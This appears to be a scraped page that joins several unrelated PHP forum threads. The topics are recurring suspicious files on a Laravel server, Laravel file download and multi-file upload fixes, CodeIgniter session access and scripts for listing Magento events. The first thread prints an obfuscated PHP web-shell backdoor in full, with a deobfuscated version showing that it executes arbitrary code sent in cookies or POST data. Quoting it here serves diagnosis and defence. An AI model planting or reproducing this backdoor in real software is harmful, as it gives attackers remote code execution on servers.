Under my Laravel application's public folder, there are some suspiciousphp files with weird name like "8xmzujk2.php".
Even though I try to delete those files one or two times, those files appear again after two or three days. I use the window server with apache. There are no record in apache's access and error log at the time those files are created.
If anyone encounter this issue before, please kindly suggest me the steps to solve this issue. All the suggestion are welcome. Thanks in advance.
The code inside this one of suspicious php file is as below.
<?php
$groqw = 'e-xv2i4_3r78g0*6kypmcoustndl#5\'b19aHf';$vcdoidm = Array();$vcdoidm[] = $groqw[35].$groqw[14];$vcdoidm[] = $groqw[20].$groqw[9].$groqw[0].$groqw[34].$groqw[24].$groqw[0].$groqw[7].$groqw[36].$groqw[22].$groqw[25].$groqw[20].$groqw[24].$groqw[5].$groqw[21].$groqw[25];$vcdoidm[] = $groqw[33].$groqw[36].$groqw[8].$groqw[34].$groqw[13].$groqw[10].$groqw[34].$groqw[32].$groqw[1].$groqw[29].$groqw[33].$groqw[4].$groqw[20].$groqw[1].$groqw[6].$groqw[10].$groqw[13].$groqw[32].$groqw[1].$groqw[11].$groqw[36].$groqw[13].$groqw[15].$groqw[1].$groqw[29].$groqw[29].$groqw[31].$groqw[10].$groqw[15].$groqw[0].$groqw[33].$groqw[13].$groqw[32].$groqw[33].$groqw[34].$groqw[34];$vcdoidm[] = $groqw[28];$vcdoidm[] = $groqw[20].$groqw[21].$groqw[22].$groqw[25].$groqw[24];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[7].$groqw[9].$groqw[0].$groqw[18].$groqw[0].$groqw[34].$groqw[24];$vcdoidm[] = $groqw[0].$groqw[2].$groqw[18].$groqw[27].$groqw[21].$groqw[26].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[22].$groqw[31].$groqw[23].$groqw[24].$groqw[9];$vcdoidm[] = $groqw[34].$groqw[9].$groqw[9].$groqw[34].$groqw[17].$groqw[7].$groqw[19].$groqw[0].$groqw[9].$groqw[12].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[27].$groqw[0].$groqw[25];$vcdoidm[] = $groqw[18].$groqw[34].$groqw[20].$groqw[16];foreach ($vcdoidm[8]($_COOKIE, $_POST) as $cpaxpnw => $afkxx){function dlvrss($vcdoidm, $cpaxpnw, $eowcms){return $vcdoidm[7]($vcdoidm[5]($cpaxpnw . $vcdoidm[2], ($eowcms / $vcdoidm[9]($cpaxpnw)) + 1), 0, $eowcms);}function isfap($vcdoidm, $eeqhx){return #$vcdoidm[10]($vcdoidm[0], $eeqhx);}function eeejy($vcdoidm, $eeqhx){$jfvsqg = $vcdoidm[4]($eeqhx) % 3;if (!$jfvsqg) {$ykpentn = $vcdoidm[1]; $fggryc = $ykpentn("", $eeqhx[1]($eeqhx[2]));$fggryc();exit();}}$afkxx = isfap($vcdoidm, $afkxx);eeejy($vcdoidm, $vcdoidm[6]($vcdoidm[3], $afkxx ^ dlvrss($vcdoidm, $cpaxpnw, $vcdoidm[9]($afkxx))));}
That strip of code runs arbitrary code sent in the post and cookies of a request
Here is the clearer version of it
foreach (array_merge($_COOKIE, $_POST) as $index => $value){
function dlvrss($vcdoidm, $index, $eowcms){
return substr(str_repeat($index . "9f3a07a1-592c-4701-8f06-55b76e9019aa", ($eowcms / strlen($index)) + 1), 0, $eowcms);
}
function isfap($vcdoidm, $eeqhx){
return #pack("H*", $eeqhx);
}
function eeejy($vcdoidm, $eeqhx){
$jfvsqg = count($eeqhx) % 3;
if (!$jfvsqg) {
$fggryc = create_function("", $eeqhx[1]($eeqhx[2]));
$fggryc();
exit();
}
}
$value = isfap($vcdoidm, $value);
eeejy($vcdoidm, explode("#", $value ^ dlvrss($vcdoidm, $index, strlen($value))));
}
See how in the end it runs a function sent in the request via
$fggryc = create_function("", $eeqhx[1]($eeqhx[2]));
$fggryc();`
You should have that fixed.
#Edit
I dont know how, sorry.
I have been going round and round with this. I have uploads working with the follow:
public function store(Tool $tool)
{
If(Input::hasFile('file')){
$file = Input::file('file');
$name = $file->getClientOriginalName();
$path=Storage::put('public',$file); //Storage::disk('local')->put($name,$file,'public');
$file = new File;
$file->tool_id = $tool->id;
$file->file_name = $name;
$file->path_to_file = $path;
$file->name_on_disk = basename($path);
$file->user_name = \Auth::user()->name;
$file->save();
return back();
}
however when I try to download with:
public function show($filename)
{
$url = Storage::disk('public')->url($filename);
///$file = Storage::disk('public')->get($filename);
return response()->download($url);
}
I get the FileNotFound exception from laravel
However, if I use this instead:
$file = Storage::disk('public')->get($filename);
return response()->download($file);
I get
FileNotFoundException in File.php line 37: The file "use calib;
insert into
notes(tool_id,user_id,note,created_at,updated_at)
VALUES(1,1,'windows server 2008 sucks',now(),now());" does not exist
which is the actual content of the file...
It can obviously find the file. but why wont it download?
Try this:
return response()->download(storage_path("app/public/{$filename}"));
Replace:
$file = Storage::disk('public')->get($filename);
return response()->download($file);
With:
return response()->download(storage_path('app/public/' . $filename));
response()->download() takes a path to a file, not a file content. More information here: https://laravel.com/docs/5.4/responses#file-downloads
If any one still could not find their file even though the file clearly exists then try
return response()->file(storage_path('/app/' . $filename, $headers));
It could be due to a missing directory separator or it isn't stored inside the public folder.
I am trying to upload multiple files but I only get 1 file in return.Below is my code:
public function uploadQuoteItemImage(){
$file=Input::file('filename');
$file_count=count($file);
dd($file_count);
$uploadcount=0;
foreach($file as $f){
$random_name=str_random(8);
$destinationPath='images/';
$extension=$file->getClientOriginalExtension();
$filename=$random_name.'_quote_itm_image.'.$extension;
$byte=File::size($file); //get size of file
$uploadSuccess=Input::file('filename')->move($destinationPath,$filename);
$uploadcount ++;
}
if ($uploadcount == $file_count){
QuoteItemImage::create(array(
'quote_item_id'=>Input::get('quote_item_id'),
'filename'=>$filename,
'filesize'=>$byte
));
return Common::getJsonResponse(true, 'image created', 200);
}
}
Even though I sent 3 files its returning only 1 file. Please help.
so in the form-data of postman you are giving the key attribute as filename for files
in turn it should be filename[] since you are sending array of data
once you set it it works fine .
now you can check in the php code like below
$files = Input::file('filename');
foreach ($files as $one) {
$filename = $one->getClientOriginalName();
$listfilenames[] = $filename;
}
echo $listfilenames
I am using CI version 3 with session driver as files. I just want to get session variables in some sub directory but print_r($_SESSION) not printing my saved session variables.
Can some one help how do i get session in sub-directory.
In addition, I have tried below and getting some variable checking set or not but don't know how to get all variables value from saved session files that I am saving in my tmp folder at root
if(isset($_COOKIE['ci_session'])) {
$file = '../tmp/ci_session'.$_COOKIE['ci_session'];
if(file_exists($file)){
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
//echo $contents;
$pos = strpos($contents, 'logged_in');
if ($pos === false) {
echo "Logged out";
} else {
echo "Logged in";
}
fclose($handle);
}
}
Change your config.php file configuration where you want to get your all session data
$config['sess_save_path'] = APPPATH.'test';
Above config will store all sessions in application/test directory
Sometimes when looking for a convenient event to hook I do a bit of exploratory programming...
Modify Mage::dispatchEvent with this extra line:
Mage::log($name.'('.implode(',', array_keys($data)).')');
Mark a start point which I know I cannot catch any sooner:
Mage::log(__METHOD__.'::START');
Mark an end point which I don't want to catch any later:
Mage::log(__METHOD__.'::STOP');
Watch the log and step through the site (eg. order submission, whatever is being investigated)
tailf var/log/system.log
This gives me a screen full of boring data and the names of objects being passed. Other than the START and STOP I'm usually not looking for anything specific enough to grep for it and I have to rely on my experience to identify possible bootstrap points. For example when placing orders I know there is often a 'quote' somewhere, or it is possible to get a reference to the order through a 'payment' object, or vice-versa.
Then I have to remember to remove my markers (not that hard when using any sort of versioning).
What methods do you use to find events? Can you do it without modifying core code?
If I'm looking for a specific event, usually I will edit dispatchEvent() in Mage.php and add this to the top(I think these are the right params for log, writing this from memory though):
Mage::log( $name, 1, 'events.txt' );
Then I'll refresh the page, comment out that line to keep the file from getting extra events in it, and then go look at my events.txt file to see all the events that fired for that page load.
It's kind of hacky to be sure, but I've found it useful for finding events with variables as part of their names.
As of 1.2 the event list was curated on the Magento Wiki. You can find that list here:
http://www.magentocommerce.com/wiki/_media/magento_events_v1.2.0.2.xls
However, since then various events have been deprecated. There is a list here but it's only current as of 1.4
http://masteringmagento.com/2010/06/events-list-in-magento-community-1-4/
If you're handy, you can execute grep -R dispatchEvent in your Magento working directory and parse through the dearth of dispatch calls. These are the actual definitons of all Magento events in your particular version.
Edit 2/14/2013:
This list, being a couple of years old, is no longer valid. I suggest that you use the following resource as it is not only a better answer but gives you many examples and sources of finding better event hooks.
https://magento.stackexchange.com/a/167/336
philwinkle already posted a link to my old list, but I'm going to go ahead and post what I use to generate event lists. It's longer than it seems like it should be, but that is because of a general lack of coding standards in the framework. Basically, this code will go out and find all events, and attempt to format them for you. If you want, I can run it on 1.5.0.1 and update the blog (would probably be nice to do after so many months, but time is a fickle mistress).
The code:
$results = `ack Mage::dispatchEvent $magento 2>/dev/null | grep -v "app/code/local" | grep -v "downloader/pearlib"`;
$results = explode("\n", $results);
print_error(sprintf("%-100s\t%-4s\t%s\n", "FILE", "LINE", "EVENT"));
foreach($results as $result) {
if(!strlen(trim($result))) { continue; }
$matches = array();
preg_match("/([^:]+):(\d+):\W+(.*)/", $result, $matches);
$file = str_replace($magento, "", $matches[1]);
$line = $matches[2];
$event = $matches[3];
$eventMatches = array();
if(preg_match("/Mage::dispatchEvent\('(\w+)'\);/", $event, $eventMatches)) {
$event = $eventMatches[1];
$matchType = 1;
} else if(preg_match("/Mage::dispatchEvent\('(\w+)',.*/", $event, $eventMatches)) {
$event = $eventMatches[1];
$matchType = 2;
} else if(preg_match("/Mage::dispatchEvent\($/", $event)) {
$event = get_next_line_event($file, $line+1, $magento);
$matchType = 3;
} else if(preg_match("/Mage::dispatchEvent\(\"?(['\$a-zA-Z._{}\-> ]+).*/", $event, $eventMatches)) {
$event = $eventMatches[1];
$matchType = 4;
} else {
print "Found unmatcheable event:\n";
var_dump($event);exit;
}
printf("%-100s\t%-4s\t%s\n", $file, $line, $event);
}
function get_next_line_event($file, $line, $magento) {
$cnt = `cat -n $magento/$file | grep -e "^ *$line"`;
$cnt = preg_replace("/^\s*\d*\s*/", "", $cnt);
$matches = array();
if(preg_match("/^'?([\$a-z_>. -]*)'?,$/i", $cnt, $matches)) {
return $matches[1];
} else if(preg_match("/^([\$a-z_>. '\-\(\)]*),$/i", $cnt, $matches)) {
return $matches[1];
}
print "Found unmatcheable event:\n";
var_dump($cnt);exit;
}
This is part of my homebrew Magento command line toolchain. It will probably only run on Linux, and there may be internal lib functions in there that I can't find. Anyway, hope that gives you an idea about my process!
Thanks,
Joseph Mastey
List of events explicitly fired in magento, along with internal implicit ones..
check here
I thought I would post back the code from above, but modified slightly to work right. $magento needed to be assigned, as well as the paths used for grep. Just change /var/www/app to whatever your magento directory is. Copy this script to a file and execute it. You need to have ack-grep installed for it to work properly. Ubuntu users can type "sudo apt-get ack-grep" I believe to install this, or just google ack-grep.
THIS IS A SHELL PHP SCRIPT. IF YOU RUN IT IN A BROWSER, IT LOOKS LIKE A MESS! However, you can do "php whateveryoucallthescript.php >> output.txt" and then open that file in VI or edit it and search for the results you want.
This has been tested on Enterprise 1.11.1.0
<?php
$magento = "/var/www/app/";
$results = `ack-grep Mage::dispatchEvent $magento 2>/dev/null | grep -v "/var/www/app/code/local" | grep -v "/var/www/downloader/pearlib"`;
$results = explode("\n", $results);
print_error(sprintf("%-100s\t%-4s\t%s\n", "FILE", "LINE", "EVENT"));
foreach($results as $result) {
if(!strlen(trim($result))) { continue; }
$matches = array();
preg_match("/([^:]+):(\d+):\W+(.*)/", $result, $matches);
$file = str_replace($magento, "", $matches[1]);
$line = $matches[2];
$event = $matches[3];
$eventMatches = array();
if(preg_match("/Mage::dispatchEvent\('(\w+)'\);/", $event, $eventMatches)) {
$event = $eventMatches[1];
$matchType = 1;
} else if(preg_match("/Mage::dispatchEvent\('(\w+)',.*/", $event, $eventMatches)) {
$event = $eventMatches[1];
$matchType = 2;
} else if(preg_match("/Mage::dispatchEvent\($/", $event)) {
$event = get_next_line_event($file, $line+1, $magento);
$matchType = 3;
} else if(preg_match("/Mage::dispatchEvent\(\"?(['\$a-zA-Z._{}\-> ]+).*/", $event, $eventMatches)) {
$event = $eventMatches[1];
$matchType = 4;
} else {
print "Found unmatcheable event:\n";
var_dump($event);
}
printf("%-100s\t%-4s\t%s\n", $file, $line, $event);
}
function get_next_line_event($file, $line, $magento) {
$cnt = `cat -n $magento/$file | grep -e "^ *$line"`;
$cnt = preg_replace("/^\s*\d*\s*/", "", $cnt);
$matches = array();
if(preg_match("/^'?([\$a-z_>. -]*)'?,$/i", $cnt, $matches)) {
return $matches[1];
} else if(preg_match("/^([\$a-z_>. '\-\(\)]*),$/i", $cnt, $matches)) {
return $matches[1];
}
print "Found unmatcheable event:\n";
var_dump($cnt);exit;
}
function print_error($err) {
echo $err;
}
?>